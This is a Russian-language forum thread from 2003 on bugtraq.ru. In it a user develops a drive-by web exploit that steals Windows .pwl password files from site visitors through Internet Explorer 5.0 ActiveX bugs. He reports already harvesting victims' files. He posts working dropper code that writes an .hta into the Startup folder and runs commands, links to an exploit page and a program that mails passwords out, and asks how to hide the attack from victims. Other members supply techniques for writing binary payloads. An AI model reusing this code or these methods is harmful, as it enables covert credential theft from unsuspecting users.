информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
Страшный баг в WindowsСетевые кракеры и правда о деле ЛевинаГде водятся OGRы
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Google заблокировала 2 с лишним... 
 Бэкдор в xz/liblzma, предназначенный... 
 Три миллиона электронных замков... 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / web building
Имя Пароль
ФОРУМ
если вы видите этот текст, отключите в настройках форума использование JavaScript
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
  • Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
  • Новичкам также крайне полезно ознакомиться с данным документом.
Вот что получилось в результате :) 13.07.03 02:09  Число просмотров: 1806
Автор: hello_world Статус: Незарегистрированный пользователь
<"чистая" ссылка>
> Я не пойму, а зачем тебе вообще debug.exe?
> Сделай этот .hta на VBScript и пиши сразу двоичные данные в
> файл (я же пример кода приводил в той мессаге)
Да, на vbs действительно лучше, хотя файл примерно 40Кб весит

> Это же всего несколько строчек на asm -
> FindWindow/SendMesage
> А из JavaScript вряд ли это можно сделать...
Достаточно просто убить процесс c:\windows\system\mshta.exe
<web building>
Нужна помощь 14.06.03 07:44   [paganoid]
Автор: hello_world Статус: Незарегистрированный пользователь
<"чистая" ссылка>
Недавно зашел на http://www.guninski.com/browsers.html и решил сам написать эксплоит, который должен тырить pwl файлы через веб-страничку.
Сначала я воспользовался первым попавшимся багом (http://www.guninski.com/getobject1-desc.html). Мой скрипт тырил system.ini, читал имя pwl'ки из [password list], а потом скачивал саму pwl'ку. (не буду приводить исходник, все есть на guninski.com) Я залил скрипт на сервак и начал радостно смотреть, как одна за другой прибывают pwl'ки, но когда я попытался их расшифровать, то понял, что файлы приходят в измененном виде :((( Например, байт \xfe меняется на \x3f, а нулевые байты просто срезаются. Т.е. при обращении к свойству innerText текст каким-то образом форматируется. Это не касается букв и цифр, но почти все остальные байты портятся.
Но это меня не остановило и я решил попробовать другой баг (http://www.guninski.com/scrtlb-desc.html). Я сразу решил не заливать юзерам трояны, т.к. они все весят по 50-70 Kb. Я написал маленькую прогу на ассемблере, которая превращала pwl'ку в escape-строку (т.е. просто записывала байты в виде \xhh) и сохраняла в неприметном файле c:\001.tmp (А потом хотел просто слить с компа юзера, когда он второй раз зайдет на сайт) Потом я попытался залить эту прогу через броузер себе на комп и выполнить ее:

content='_код проги_';
f_obj=new ActiveXObject('Scripting.FileSystemObject');
fp=f_obj.CreateTextFile('c:\\escape.com',false);
fp.Write(content);
fp.Close();
wsh.Run('c:\\escape.com');

Но опять ничего не получилось!!! Выяснилось что моя прога опять записалась в слегка подпорченном виде :( Если бы проблема была только в нулевых байтах, то без них можно было бы обойтись, но к сожалению все гораздо сложнее.
Возможно все что я делаю это извращение, только хотелось бы узнать что надо делать :) Буду рад любой помощи.
Вот что получилось в результате :) 11.07.03 05:02  
Автор: hello_world Статус: Незарегистрированный пользователь
<"чистая" ссылка>
Код, который нужно вставить в страничку лежит тут:
http://www.dilar.by/e/exploit
Исходничок проги, которая пошлет пароли:
http://www.dilar.by/e/smtp.asm
incfile и incs лежат там же

Остается 1 вопрос: как скрыть вывод программы debug при обработке скрипта? А то юзеру плохо может стать, когда он увидит цифры ползущие по экрану :)
Еще хотелось бы закрыть окно hta и желательно средствами java, а то на асме писать неахота :) Может кто подскажет как это сделать, а то я яву совсем не знаю :)
Вот что получилось в результате :) 12.07.03 10:08  
Автор: :-) <:-)> Статус: Elderman
<"чистая" ссылка>
> Остается 1 вопрос: как скрыть вывод программы debug при
> обработке скрипта? А то юзеру плохо может стать, когда он
> увидит цифры ползущие по экрану :)

Разве что что перенаправить в >nul, но окно ДОС-сеанса все равно будет появляться...
Я не пойму, а зачем тебе вообще debug.exe?
Сделай этот .hta на VBScript и пиши сразу двоичные данные в файл (я же пример кода приводил в той мессаге)

> Еще хотелось бы закрыть окно hta и желательно средствами
> java, а то на асме писать неахота :) Может кто подскажет
> как это сделать, а то я яву совсем не знаю :)

Это же всего несколько строчек на asm - FindWindow/SendMesage
А из JavaScript вряд ли это можно сделать...
Вот что получилось в результате :) 13.07.03 02:09  
Автор: hello_world Статус: Незарегистрированный пользователь
<"чистая" ссылка>
> Я не пойму, а зачем тебе вообще debug.exe?
> Сделай этот .hta на VBScript и пиши сразу двоичные данные в
> файл (я же пример кода приводил в той мессаге)
Да, на vbs действительно лучше, хотя файл примерно 40Кб весит

> Это же всего несколько строчек на asm -
> FindWindow/SendMesage
> А из JavaScript вряд ли это можно сделать...
Достаточно просто убить процесс c:\windows\system\mshta.exe
У меня получилось в JScript... 14.07.03 10:58  
Автор: :-) <:-)> Статус: Elderman
Отредактировано 14.07.03 11:00  Количество правок: 1
<"чистая" ссылка>
...работать с двоичными данными :)

Символы с кодами <0x80 можно записывать Си-шной нотации \xHH.
Но, как ни странно, символы из второй половины ASCII-таблицы (>0x80) в таком виде записать нельзя! Видно, в M$ решили, что в наш век Unicode это не нужно.
Но зато если их вставить в текст "as is", то это работает:

s = "\x01\x02\x1A.....БВГДЇ"
f.Write(s);

Все оказалось просто, но никто ведь не подсказал :(
У меня получилось в JScript... 14.07.03 15:23  
Автор: hello_world Статус: Незарегистрированный пользователь
Отредактировано 14.07.03 15:24  Количество правок: 1
<"чистая" ссылка>
Какая у тебя ОС/браузер ?
У меня, например само наличие байта \x00 говорит о том, что файл не будет записан. При этом никакой ошибки не возникает. Даже при попытке запустить этот файл не вылетает ошибки, хотя самого файла нет.
У меня получилось в JScript... 14.07.03 19:46  
Автор: :-) <:-)> Статус: Elderman
<"чистая" ссылка>
> Какая у тебя ОС/браузер ?

IE 6.0, но я специально проверял еще в IE 5.0, где работает этот эксплойт.

> У меня, например само наличие байта \x00 говорит о том, что
> файл не будет записан. При этом никакой ошибки не
> возникает. Даже при попытке запустить этот файл не вылетает
> ошибки, хотя самого файла нет.

А что говорит
WScript.Echo(WScript.Version) ?
извиняюсь... 14.07.03 23:37  
Автор: hello_world Статус: Незарегистрированный пользователь
<"чистая" ссылка>
Ты был прав все работает. Это просто меня сильно проглючило :(
Большое спасибо :)
Нужна помощь 18.06.03 17:44  
Автор: :-) <:-)> Статус: Elderman
Отредактировано 18.06.03 17:53  Количество правок: 1
<"чистая" ссылка>
...skipped
> Я написал маленькую прогу на ассемблере, которая превращала
> pwl'ку в escape-строку (т.е. просто записывала байты в виде
> \xhh) и сохраняла в неприметном файле c:\001.tmp (А потом
> хотел просто слить с компа юзера, когда он второй раз
> зайдет на сайт) Потом я попытался залить эту прогу через
> броузер себе на комп и выполнить ее:
>
> content='_код проги_';
> f_obj=new ActiveXObject('Scripting.FileSystemObject');
> fp=f_obj.CreateTextFile('c:\\escape.com',false);
> fp.Write(content);
> fp.Close();
> wsh.Run('c:\\escape.com');

Тут можно вместо JScript использовать VBScript. В нем есть функция chr:
content=chr(2)+chr(5)+chr(255)
set f_obj=CreateObject("Scripting.FileSystemObject")
set fp=f_obj.CreateTextFile("c:\escape.com",false)
fp.Write(content)
fp.Close()

Про другие способы:
Если уж ты пишешь программку на ассемблере в виде маленького .com-файла, то пиши ее так, чтобы она содержала только текстовые символы.
Есть конвертеры, которые преобразуют .com-файл таким образом (filehide например).
Еще двоичный файл можно создать через debug.exe.
В текстовый файл пишешь debug-скрипт для создания своего файла, потом даешь команду
debug <myscript.dbg
Спасибо :) 18.06.03 21:16  
Автор: hello_world Статус: Незарегистрированный пользователь
<"чистая" ссылка>
> Если уж ты пишешь программку на ассемблере в виде
> маленького .com-файла
- другого способа пока не вижу

> то пиши ее так, чтобы она содержала
> только текстовые символы.
- такая мысль уже приходила, но это имхо изврат :)

Огромное спасибо за все предложенные способы! Сейчас только сдам вступительные экзамены и сразу сяду кодить :)
поставим вопрос по-другому 18.06.03 01:11  
Автор: hello_world Статус: Незарегистрированный пользователь
<"чистая" ссылка>
Кто-нибудь знает, есть ли activex функция, которая пишет(читает) в файл N любых байтов, как например write() в C ?
И еще очень бы хотелось знать мнение кого-нибудь кто уже писал что-то подобное. Если все это слишком просто и даже не стоит обсуждения, то напишите хотябы об этом. Просто хочется хоть что-нибудь услышать :)
Заранее спасибо.
activex может почти все, что может обычная прога под винду, так что почитай msdn 18.06.03 08:55  
Автор: tdes <jin> Статус: Member
<"чистая" ссылка>
Вообще-то веб не может сохранять произвольные данные 18.06.03 02:08  
Автор: amirul <Serge> Статус: The Elderman
<"чистая" ссылка>
> Кто-нибудь знает, есть ли activex функция, которая
> пишет(читает) в файл N любых байтов, как например write() в
> C ?
Это очень уж пахнет DoS-ом, когда любой сайт может заполнить весь диск какими то данными.

Для этих целей используется кеш бровсера. Правда свой файл там еще найти надо - именно для противодействия такому запуску у всех бровсеров путь к файлам в кеше содержит какие нибудь случайные символы. Не помню где, но вроде бы я видел пример как можно узать путь к кешу в IE. Не очень похоже на реальную помощь, но по крайней мере будешь знать, что безопасность при разработке бровсеров ставится не на последнее место. И как раз такие действия и пытаются исключить всеми способами.
Вообще-то веб не может сохранять произвольные данные 18.06.03 02:37  
Автор: hello_world Статус: Незарегистрированный пользователь
<"чистая" ссылка>
В IE 5.0 есть баг, позволяющий вот таким образом выполнить любую команду:

<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC">
</object>
<SCRIPT>
scr.Reset();
scr.Path="C:\\windows\\Главное меню\\Программы\\Автозагрузка\\exploit.hta";
scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>"+
"wsh.Run('c:\\command.com');"+
"</SCRIPT"+">";
scr.write();
</SCRIPT>
</object>

Я проверял. Это работает. Единственная проблема в том, что я не могу записать туда свою прогу, т.к. все функции activex, которые я знаю, не хотят правильно работать с двоичными данными :(
А за кэш спасибо. Буду доки искать.
Вообще-то веб не может сохранять произвольные данные 18.06.03 15:35  
Автор: amirul <Serge> Статус: The Elderman
<"чистая" ссылка>
> В IE 5.0 есть баг, позволяющий вот таким образом выполнить
> любую команду:
Баги, позволяющие удаленно запустить любую прогу периодически появляются.

> Я проверял. Это работает. Единственная проблема в том, что
> я не могу записать туда свою прогу, т.к. все функции
> activex, которые я знаю, не хотят правильно работать с
> двоичными данными :(
Вот как раз это я и имел в виду. Чтоб запустить СВОЮ программу нужно две уязвимости - чтоб загрузить (или найти в кеше) и чтоб запустить. А это повышает безопасность. Так что просто так стандартными средствами записать что угодно на винт пользователю тебе вряд ли дадут - только дыра какая то.

> А за кэш спасибо. Буду доки искать.
1




Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2024 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach